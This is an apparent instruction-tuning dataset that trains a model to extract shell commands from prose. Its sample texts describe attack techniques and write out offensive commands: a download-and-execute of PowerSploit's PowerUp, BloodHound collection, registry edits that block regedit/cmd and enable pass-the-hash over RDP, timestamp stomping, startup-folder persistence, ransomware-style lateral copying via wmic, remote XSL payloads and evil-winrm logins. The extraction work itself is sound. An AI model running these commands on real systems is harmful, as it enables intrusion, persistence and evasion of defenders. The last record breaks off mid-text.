    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Prevent users from manually removing malware by blocking certain programs with the following registry commands: reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v DisallowRun /t REG_DWORD /d 1 /f\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /f /t REG_SZ /v art1 /d \"regedit.exe\"\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /f /t REG_SZ /v art2 /d \"cmd.exe\"\n; To enable Restricted Admin Mode and facilitate pass-the-hash attacks via RDP, use the following command: reg add \"hklm\\system\\currentcontrolset\\control\\lsa\" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0",
    "output": "{\"command_list\": [\"reg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer /v DisallowRun /t REG_DWORD /d 1 /f\\nreg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun /f /t REG_SZ /v art1 /d \\\"regedit.exe\\\"\\nreg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun /f /t REG_SZ /v art2 /d \\\"cmd.exe\\\"\\n\", \"reg add \\\"hklm\\\\system\\\\currentcontrolset\\\\control\\\\lsa\\\" /f /v DisableRestrictedAdmin /t REG_DWORD /d 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The modification timestamp of a file can be altered with this command: touch -m -t 197001010000.00 #{target_filename}\n; The process of timestamp stomping involves executing these commands: NOW=$(date +%m%d%H%M%Y)\ndate 010100001971\ntouch #{target_filename}\ndate \"$NOW\"\nstat #{target_filename}\n, which temporarily changes the system date before creating the file and then restores it.",
    "output": "{\"command_list\": [\"touch -m -t 197001010000.00 #{target_filename}\\n\", \"NOW=$(date +%m%d%H%M%Y)\\ndate 010100001971\\ntouch #{target_filename}\\ndate \\\"$NOW\\\"\\nstat #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To ensure the VBS script runs at startup and displays \"T1547.001 Hello, World VBS!\", use the following command sequence: Copy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\vbsstartup.vbs\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"\ncscript.exe \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\vbsstartup.vbs\"\ncscript.exe \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\vbsstartup.vbs\"; The following command copies JSE files to both user and system startup folders, executes them immediately, and ensures they'll run on subsequent logins:\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\nCopy-Item \"$PathToAtomicsFolder\\T1547.001\\src\\jsestartup.jse\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"\ncscript.exe /E:Jscript \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\jsestartup.jse\"\ncscript.exe /E:Jscript \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\jsestartup.jse\"",
    "output": "{\"command_list\": [\"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\vbsstartup.vbs\\\" \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\vbsstartup.vbs\\\"\\ncscript.exe \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\vbsstartup.vbs\\\"\\n\", \"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\jsestartup.jse\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\jsestartup.jse\\\"\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.001\\\\src\\\\jsestartup.jse\\\" \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\jsestartup.jse\\\"\\ncscript.exe /E:Jscript \\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\jsestartup.jse\\\"\\ncscript.exe /E:Jscript \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\jsestartup.jse\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate MAZE ransomware's propagation, this script checks computer connectivity and copies a binary file to each reachable machine while logging results, via the command:\n$machine_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105MachineList.txt\"\n$offline_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105OfflineHosts.txt\"\n$completed_list = \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1105CompletedHosts.txt\"\nforeach ($machine in get-content -path \"$machine_list\")\n{if (test-connection -Count 1 -computername $machine -quiet) \n{cmd /c copy \"#{binary_file}\" \"\\\\$machine\\#{remote_drive_letter}$#{exe_remote_folder}\"\necho $machine >> \"$completed_list\"\nwmic /node: \"$machine\" process call create \"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\"}\nelse\n{echo $machine >> \"$offline_list\"}}\n; You can compress a folder from a remote drive into a ZIP file by executing this command: \ndel %TEMP%\\PrintBrm.zip >nul 2>&1 \n#{Path_PrintBrm} -b -d #{Path_unc}  -f %TEMP%\\PrintBrm.zip -O FORCE\n",
    "output": "{\"command_list\": [\"$machine_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105MachineList.txt\\\"\\n$offline_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105OfflineHosts.txt\\\"\\n$completed_list = \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\T1105CompletedHosts.txt\\\"\\nforeach ($machine in get-content -path \\\"$machine_list\\\")\\n{if (test-connection -Count 1 -computername $machine -quiet) \\n{cmd /c copy \\\"#{binary_file}\\\" \\\"\\\\\\\\$machine\\\\#{remote_drive_letter}$#{exe_remote_folder}\\\"\\necho $machine >> \\\"$completed_list\\\"\\nwmic /node: \\\"$machine\\\" process call create \\\"regsvr32.exe /i #{remote_drive_letter}:#{exe_remote_folder}\\\"}\\nelse\\n{echo $machine >> \\\"$offline_list\\\"}}\\n\", \"del %TEMP%\\\\PrintBrm.zip >nul 2>&1 \\n#{Path_PrintBrm} -b -d #{Path_unc}  -f %TEMP%\\\\PrintBrm.zip -O FORCE\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute the code within a XSL script using a local payload, use the following command: wmic #{wmic_command} /FORMAT:\"#{local_xsl_file}\"\n; When AV is turned off, you can run a remote payload via this command, which will launch Calculator.exe if successful: wmic #{wmic_command} /FORMAT:\"#{remote_xsl_file}\"\n",
    "output": "{\"command_list\": [\"wmic #{wmic_command} /FORMAT:\\\"#{local_xsl_file}\\\"\\n\", \"wmic #{wmic_command} /FORMAT:\\\"#{remote_xsl_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell Remoting example demonstrates lateral movement by targeting the local machine and executing `whoami` via the command: \nEnable-PSRemoting -Force\nInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}; An adversary may establish a connection to a remote WinRM-enabled system by executing this command: evil-winrm -i #{destination_address} -u #{user_name} -p #{password}",
    "output": "{\"command_list\": [\"Enable-PSRemoting -Force\\nInvoke-Command -ComputerName $env:COMPUTERNAME -ScriptBlock {whoami}\", \"evil-winrm -i #{destination_address} -u #{user_name} -p #{password}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - 